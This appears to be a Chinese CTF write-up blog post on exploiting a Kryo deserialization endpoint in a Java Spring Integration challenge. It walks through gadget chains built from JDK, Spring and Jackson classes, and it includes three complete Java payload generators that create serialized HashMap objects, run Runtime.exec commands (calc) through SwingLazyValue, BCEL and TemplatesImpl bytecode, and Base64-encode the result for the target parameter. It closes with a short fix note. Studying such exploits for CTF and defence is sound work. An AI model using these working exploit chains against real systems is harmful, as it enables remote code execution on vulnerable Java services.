西南赛区java

Posted by Azeril on November 24, 2023
燕子我终于来了tnnd早就看上了这道题然后学kryo复现coffee发现需要RASP然后学RASP学完学Hessian然后才润来🤢,让燕子久等了
  1. 提示:Hessian原生JDK利用
  2. Kryo反序列化

老规矩自己 分析一波

kryo 4.0.2  kryo序列化框架需要对序列/反序列化的类进行注册高版本还需有无参构造默认FieldSerialize序列化方式
snakeyaml-1.26
asm-5.0.4

说好的hessian原生JDK,没hessian依赖呀。。。

先看给出的类,实质性就二个类,一个javabean、一个controller

public class MessageController {
    @RequestMapping({"/"})
    @ResponseBody
    public Object message(String message) throws Exception {
        byte[] decodemsg;
        if (message == null) {
            decodemsg = Base64.getDecoder().decode("ASsBAQIDAWnkAQBqYXZhLnV0aWwuVVVJxAHLyYj656nh3Rj89bSK7ufJrcoDAXRpbWVzdGFt8AnMwumxjGIBAWNvbS5zZWEuVXNl8gEBMbABc2VhY2xvdWTz");
        } else {
            try {
                decodemsg = Base64.getDecoder().decode(message);
            } catch (Exception e) {
                decodemsg = Base64.getDecoder().decode("ASsBAQIDAWnkAQBqYXZhLnV0aWwuVVVJxAGBw5uOyvHs1sGsg/nqhOyP9pIDAXRpbWVzdGFt8AnmifmxjGIBAWNvbS5zZWEuVXNl8gEBMbABZXJyb/I=");
            }
        }
        return new CodecMessageConverter(new MessageCodec()).toMessage(decodemsg, null).getPayload();
    }
}

给的乱七八糟的,人家不都是直接给反序列化🐎,这里呃呃呃(麻烦的是一个接口套一个接口)

但不是所有java题都是考链子的!!!

image-20231123200706815

codec是我们传进去的new MessageCodec(),这里 this.codec.decode(字节码,object类)

image-20231123201114783

image-20231123201222356

然后继续跟进decode中

image-20231123201248345

image-20231123201255921

自己跟进去找到的,应该不是巧合叭,如果是巧合我真的######了

上面其实不用调试,肯定是直接到readobject了,接下来就是找链子了:

斯好tm熟悉啊,这里hashmap无疑了,上一道题用的是rome+signObject二次反序列化搞得,可是这道题没有rome依赖难搞

image-20231123201601071

斯看了看这几天的笔记,以及Dubbo那个CVE

getTransletInstance:455, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
newTransformer:486, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
getOutputProperties:507, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
write:-1, ASMSerializer_1_TemplatesImpl (com.alibaba.fastjson.serializer)
write:270, MapSerializer (com.alibaba.fastjson.serializer)
write:44, MapSerializer (com.alibaba.fastjson.serializer)
write:280, JSONSerializer (com.alibaba.fastjson.serializer)
toJSONString:863, JSON (com.alibaba.fastjson)
toString:857, JSON (com.alibaba.fastjson)
    //上面是需要fastjson依赖的
    
    //下面是我有的链子
equals:392, XString (com.sun.org.apache.xpath.internal.objects)
equals:104, HotSwappableTargetSource (org.springframework.aop.target)
putVal:635, HashMap (java.util)
put:612, HashMap (java.util)
read:162, MapSerializer (com.esotericsoftware.kryo.serializers)
read:39, MapSerializer (com.esotericsoftware.kryo.serializers)
readClassAndObject:813, Kryo (com.esotericsoftware.kryo)
readObject:136, KryoObjectInput (org.apache.dubbo.common.serialize.kryo)
readObject:147, KryoObjectInput (org.apache.dubbo.common.serialize.kryo)
decode:116, DecodeableRpcInvocation (org.apache.dubbo.rpc.protocol.dubbo)

所以我们当前的问题就是如何找到某一个类的#toString方法然后命令执行

既然提到了hessian原生jdk而没有依赖,八成是用到了其中的链子,我在调试hessian链子的时候也发现很多类不需要第三方库的依赖

(hessian专有的包是com.cacho,toString我的天直接搬迁)

runMain:131, JavaWrapper (com.sun.org.apache.bcel.internal.util)
_main:153, JavaWrapper (com.sun.org.apache.bcel.internal.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
createValue:73, SwingLazyValue (sun.swing)
getFromHashtable:216, UIDefaults (javax.swing)
get:161, UIDefaults (javax.swing)
getAttribute:265, PKCS9Attributes (sun.security.pkcs)
toString:334, PKCS9Attributes (sun.security.pkcs)

valueOf:2994, String (java.lang)
append:131, StringBuilder (java.lang)
expect:2880, Hessian2Input (com.caucho.hessian.io)
readString:1398, Hessian2Input (com.caucho.hessian.io)
readObjectDefinition:2180, Hessian2Input (com.caucho.hessian.io)
readObject:2122, Hessian2Input (com.caucho.hessian.io)

进行拼接一下

runMain:131, JavaWrapper (com.sun.org.apache.bcel.internal.util)
_main:153, JavaWrapper (com.sun.org.apache.bcel.internal.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
createValue:73, SwingLazyValue (sun.swing)
getFromHashtable:216, UIDefaults (javax.swing)
get:161, UIDefaults (javax.swing)
getAttribute:265, PKCS9Attributes (sun.security.pkcs)
toString:334, PKCS9Attributes (sun.security.pkcs)
 
equals:392, XString (com.sun.org.apache.xpath.internal.objects)
equals:104, HotSwappableTargetSource (org.springframework.aop.target)
putVal:635, HashMap (java.util)
put:612, HashMap (java.util)
read:162, MapSerializer (com.esotericsoftware.kryo.serializers)
read:39, MapSerializer (com.esotericsoftware.kryo.serializers)
readClassAndObject:813, Kryo (com.esotericsoftware.kryo)
readObject:136, KryoObjectInput (org.apache.dubbo.common.serialize.kryo)
readObject:147, KryoObjectInput (org.apache.dubbo.common.serialize.kryo)
decode:116, DecodeableRpcInvocation (org.apache.dubbo.rpc.protocol.dubbo)

果然是这样好完

image-20231123205017944

思考了一个东西上次因为是kryo5.2版本所以需要修改注册等等但这道题是4.2版本默认是false所以不需要更改想了半天咋绕过纯脑瘫😡😡😡😡

就是构造链子

equals:392, XString (com.sun.org.apache.xpath.internal.objects)
equals:104, HotSwappableTargetSource (org.springframework.aop.target)
putVal:635, HashMap (java.util)
put:612, HashMap (java.util)
read:162, MapSerializer (com.esotericsoftware.kryo.serializers)
read:39, MapSerializer (com.esotericsoftware.kryo.serializers)
    readClassAndObject:813, Kryo (com.esotericsoftware.kryo)
readObject:136, KryoObjectInput (org.apache.dubbo.common.serialize.kryo)
readObject:147, KryoObjectInput (org.apache.dubbo.common.serialize.kryo)
decode:116, DecodeableRpcInvocation (org.apache.dubbo.rpc.protocol.dubbo)

HotSwappableTargetSource.java

  public boolean equals(Object other) {
        return this == other || other instanceof HotSwappableTargetSource && this.target.equals(((HotSwappableTargetSource)other).target);
    }
//目的很明确,target为Xstring,反射赋值即可   但是!!!
 other instanceof HotSwappableTargetSource 必须符合这个为true才能执行后面的equals呀
 other需要是HotSwappableTargetSource类型下面Xstring.equals()的参数就是other的target属性

吼吼吼不愧是我哈哈哈哈

package com.sea;
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.xpath.internal.objects.XString;
import org.springframework.aop.target.HotSwappableTargetSource;
import sun.reflect.ReflectionFactory;
import sun.security.pkcs.PKCS9Attribute;
import sun.security.pkcs.PKCS9Attributes;
import sun.swing.SwingLazyValue;

import javax.swing.*;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;

public class payload {
    public static void main(String[] args) throws Exception {
        PKCS9Attributes s = createWithoutConstructor(PKCS9Attributes.class);
        UIDefaults uiDefaults = new UIDefaults();
        JavaClass evil = Repository.lookupClass(test.class);
        String payload = "$$BCEL$$" + Utility.encode(evil.getBytes(), true);

        uiDefaults.put(PKCS9Attribute.EMAIL_ADDRESS_OID, new SwingLazyValue("com.sun.org.apache.bcel.internal.util.JavaWrapper", "_main", new Object[]{new String[]{payload}}));

        setFieldValue(s,"attributes",uiDefaults);
        //s是最后的toString
        XString xstring=new XString("a");
//        xstring.equals(s);
        HotSwappableTargetSource hotSwappableTargetSource1 = new HotSwappableTargetSource("aa");
        HotSwappableTargetSource hotSwappableTargetSource2 = new HotSwappableTargetSource("aa");
        setFieldValue(hotSwappableTargetSource1,"target",xstring);
        setFieldValue(hotSwappableTargetSource2,"target",s);
        hotSwappableTargetSource1.equals(hotSwappableTargetSource2);
//        com.sun.org.apache.xpath.internal.objects.XString
//
//
//        equals:392, XString (com.sun.org.apache.xpath.internal.objects)
    }

    public static <T> T createWithoutConstructor(Class<T> classToInstantiate) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
        return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
    }

    public static <T> T createWithConstructor(Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
        Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
        objCons.setAccessible(true);
        Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
        sc.setAccessible(true);
        return (T) sc.newInstance(consArgs);
    }
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

image-20231123210904016

接下来只需要让hashmap调用到就行了,然后反序列化调试通即可(可是hashmap又又又忘了逻辑了,这里先试试)

final V putVal(int hash, K key, V value, boolean onlyIfAbsent,
                   boolean evict) {
        Node<K,V>[] tab; Node<K,V> p; int n, i;
        if ((tab = table) == null || (n = tab.length) == 0)
            n = (tab = resize()).length;
        if ((p = tab[i = (n - 1) & hash]) == null)
            tab[i] = newNode(hash, key, value, null);
        else {
            Node<K,V> e; K k;
            //p是上一个的hash,
            if (p.hash == hash &&
                ((k = p.key) == key || (key != null && key.equals(k))))
                e = p;

每次都被卡这里服啦,(这次一定要写一个一劳永逸的脚本)

image-20231123212032448

​ 这个报错给我干蒙蔽了(奇怪的是序列化竟然可以弹计算器)

image-20231123214546203

image-20231123215152139

key

   HashMap map1 = new HashMap();
        HashMap map2 = new HashMap();
        map1.put("aa","2");
        map1.put("bB","1");
        map2.put("aa","1");
        map2.put("bB","2");
        HashMap map = new HashMap();
        map.put(map1,"");
        map.put(map2,"");


好好好没想到卡在这一步服了 明天搞定你tnnd再写一个自动化脚本

hashmap#readobject进行分析

执行key.equals(k)的前置条件是,p.hash==hash,hash就是计算key键值的hashcode值,如果key的对象重写了hashcode就会执行重写的否则就是普通的hashcode,然后就会执行equals方法,也是 当前key .equals(上一个key)

image-20231124142424406

还是这个报错我就不理解了呀

image-20231124143533163

tnnd就是打不通,但是hessian不只是一条原生jdk条链子呢,天涯何处无芳草,别在一棵树上吊死😡😡😡

invoke:275, MethodUtil (sun.reflect.misc)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
createValue:73, SwingLazyValue (sun.swing)
getFromHashtable:216, UIDefaults (javax.swing)
get:161, UIDefaults (javax.swing)
toString:253, MimeTypeParameterList (javax.activation)
    
valueOf:2994, String (java.lang)
append:131, StringBuilder (java.lang)
expect:2880, Hessian2Input (com.caucho.hessian.io)
readString:1398, Hessian2Input (com.caucho.hessian.io)
readObjectDefinition:2180, Hessian2Input (com.caucho.hessian.io)
readObject:2122, Hessian2Input (com.caucho.hessian.io)

继续缝合一下

HashMap#readObject
     HashMap#putVal
          HowSwappableTargetSource#equals
              XString#toString()
              
invoke:275, MethodUtil (sun.reflect.misc)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
createValue:73, SwingLazyValue (sun.swing)
getFromHashtable:216, UIDefaults (javax.swing)
get:161, UIDefaults (javax.swing)
toString:253, MimeTypeParameterList (javax.activation)

XString中的equals方法会调用指定类的

image-20231124145327390

咦,莫非没继承序列化接口的不能这么写

image-20231124153235192

发现自己掉进了一个大坑

上面的纯属是hashmap不成功就不成功呗,但只要题目的流程命令执行不就行了,直接把题目的挪过来调试

image-20231124162748362

首先这里有一个解码所以我们先加密

image-20231124162707556

这里坑点1:指定了解密的类型 this.messageClass,所以我们加密也需要他

image-20231124162828867

GenericMessage message = new GenericMessage(hashMap);
MessageCodec messageCodec = new MessageCodec();
byte[] bytes = messageCodec.encode(message);

codec就是我们传入的,new MessageCodec(),所以它解密它加密没毛病把

image-20231124163007721

package com.sea;
import com.sun.org.apache.xpath.internal.objects.XString;
import org.springframework.aop.target.HotSwappableTargetSource;
import org.springframework.integration.codec.CodecMessageConverter;
import org.springframework.integration.codec.kryo.MessageCodec;
import org.springframework.messaging.Message;
import org.springframework.messaging.MessageHeaders;
import org.springframework.messaging.support.GenericMessage;
import sun.swing.SwingLazyValue;

import javax.activation.MimeTypeParameterList;
import javax.swing.*;
import java.io.*;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Base64;
import java.util.HashMap;

public class ttt {
    public static void main(String[] args) throws Exception {

        UIDefaults uiDefaults = new UIDefaults();
        Method invokeMethod = Class.forName("sun.reflect.misc.MethodUtil").getDeclaredMethod("invoke", Method.class, Object.class, Object[].class);
        Method exec = Class.forName("java.lang.Runtime").getDeclaredMethod("exec", String.class);
        SwingLazyValue slz = new SwingLazyValue("sun.reflect.misc.MethodUtil", "invoke", new Object[]{invokeMethod, new Object(), new Object[]{exec, Runtime.getRuntime(), new Object[]{"calc"}}});
        uiDefaults.put("p4d0rn", slz);
        MimeTypeParameterList mimeTypeParameterList = new MimeTypeParameterList();
        setFieldValue(mimeTypeParameterList, "parameters", uiDefaults);

        XString x = new XString("test");
        HashMap<Object, Object> hashMap = new HashMap<>();
        Object v1 = new HotSwappableTargetSource(mimeTypeParameterList);
        Object v2 = new HotSwappableTargetSource(x);

        setFieldValue(hashMap, "size", 2);
        Class<?> nodeC;
        try {
            nodeC = Class.forName("java.util.HashMap$Node");
        } catch (ClassNotFoundException e) {
            nodeC = Class.forName("java.util.HashMap$Entry");
        }
        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
        nodeCons.setAccessible(true);

        Object tbl = Array.newInstance(nodeC, 2);
        Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
        Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
        setFieldValue(hashMap, "table", tbl);

//        serialize(hashMap);
//        unserialize("ser.bin");

        GenericMessage message = new GenericMessage(hashMap);

        MessageCodec messageCodec = new MessageCodec();
        byte[] bytes = messageCodec.encode(message);
        System.out.println(new String(Base64.getEncoder().encode(bytes)));

        CodecMessageConverter codecMessageConverter = new CodecMessageConverter(new MessageCodec());
        Message<?> messagecode = codecMessageConverter.toMessage(bytes, (MessageHeaders) null);
        messagecode.getPayload();
    }

    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        objectOutputStream.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename));
        return objectInputStream.readObject();
    }
}

image-20231124171644967

水文章的时候发现一个更简单的方法

是通过jackson方法打的,斯长城杯都想到了 badattribute–>jackson#tostring—->getter

这个没想到不应该呀,这里(入口肯定是hashmap因为是MapSerialize)

package com.sea;

import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import javassist.*;
import org.springframework.aop.target.HotSwappableTargetSource;
import org.springframework.integration.codec.CodecMessageConverter;
import org.springframework.integration.codec.kryo.MessageCodec;
import org.springframework.messaging.Message;
import org.springframework.messaging.MessageHeaders;
import org.springframework.messaging.support.GenericMessage;

import javax.management.BadAttributeValueExpException;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.net.URLEncoder;
import java.security.*;
import java.util.Base64;
import java.util.HashMap;


public class jackson {
    public static void main(String[] args) throws Exception {
        // 二次反序列化 BadAttributeValueExpException -> POJONode -> TemplatesImpl
        ClassPool pool = ClassPool.getDefault();
        CtClass ctClass0 = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
        CtMethod writeReplace = ctClass0.getDeclaredMethod("writeReplace");
        ctClass0.removeMethod(writeReplace);
        ctClass0.toClass();
        
        CtClass ctClass = pool.makeClass("EvilGeneratedByJavassist");
        ctClass.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));

        CtConstructor ctConstructor = CtNewConstructor.make("public EvilGeneratedByJavassist(){Runtime.getRuntime().exec(\"calc\");}", ctClass);
        ctClass.addConstructor(ctConstructor);
        byte[] byteCode = ctClass.toBytecode();

        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_name", "whatever");
        setFieldValue(templates, "_bytecodes", new byte[][]{byteCode});

        POJONode pojoNode1 = new POJONode(templates);
        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException("whatever");
        setFieldValue(badAttributeValueExpException, "val", pojoNode1);

        // 一次反序列化 HotSwappableTargetSource -> XString -> POJONode -> SignedObject
        // 初始化 SignedObject
        KeyPairGenerator keyPairGenerator;
        keyPairGenerator = KeyPairGenerator.getInstance("DSA");
        keyPairGenerator.initialize(1024);
        KeyPair keyPair = keyPairGenerator.genKeyPair();
        PrivateKey privateKey = keyPair.getPrivate();
        Signature signingEngine = Signature.getInstance("DSA");
        // 设置二次反序列化入口
        SignedObject signedObject = new SignedObject(badAttributeValueExpException, privateKey, signingEngine);

        POJONode pojoNode2 = new POJONode(signedObject);
        HotSwappableTargetSource h1 = new HotSwappableTargetSource(pojoNode2);
        HotSwappableTargetSource h2 = new HotSwappableTargetSource(new XString("whatever"));

        // 手动构造 HashMap 以防触发正向利用链
        HashMap hashMap = new HashMap();
        setFieldValue(hashMap, "size", 2);
        Class nodeC;
        nodeC = Class.forName("java.util.HashMap$Node");
        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
        nodeCons.setAccessible(true);
        Object tbl = Array.newInstance(nodeC, 2);
        Array.set(tbl, 0, nodeCons.newInstance(0, h1, "whatever", null));
        Array.set(tbl, 1, nodeCons.newInstance(0, h2, "whatever", null));
        setFieldValue(hashMap, "table", tbl);

        CodecMessageConverter codecMessageConverter = new CodecMessageConverter(new MessageCodec());
        // 序列化
        GenericMessage genericMessage = new GenericMessage(hashMap);
        byte[] decodemsg = (byte[]) codecMessageConverter.fromMessage(genericMessage, null);

        System.out.println(URLEncoder.encode(Base64.getEncoder().encodeToString(decodemsg), "UTF-8"));

        // 反序列化
        Message<?> messagecode = codecMessageConverter.toMessage(decodemsg, (MessageHeaders) null);
        //messagecode.getPayload();
    }

    public static void setFieldValue(Object obj, String name, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

CodecMessageConverter
	-> toMessage(decodemsg, ...)
  	 this.codec.decode(decodemsg, ...)

AbstractKryoCodec
	-> decode(decodemsg, ...)

PojoCodec
	-> doDecode(...)

Kryo
	-> readObject(...)

MapSerializer
	-> read(...)
  	 Map#put(hotSwappableTargetSource, ...)

HotSwappableTargetSource
	-> equals(...)

XString
	-> equals(pojoNode)

BaseJsonNode
	-> toString()
  	 InternalNodeMapper#nodeToString(this)

SignedObject
	-> getObject()
  	 a.readObject()

BadAttributeValueExpException
	-> readObject()
  	 valObj.toString()

BaseJsonNode
	-> toString()
  	 InternalNodeMapper#nodeToString(this)

TemplatesImpl
	-> getOutputProperties()

...

FIX阶段

代码中有一个没用的javabean只作为信息的输出。

image-20231124172234171

直接搬路径这也行???

image-20231124172241585

直接禁掉,生成字节码中的类

image-20231124180016774

关于hashmap的问题,会自己单独写一篇文章


Creative Commons License
本作品采用CC BY-NC-ND 4.0进行许可。转载,请注明原作者 Azeril 及本文源链接。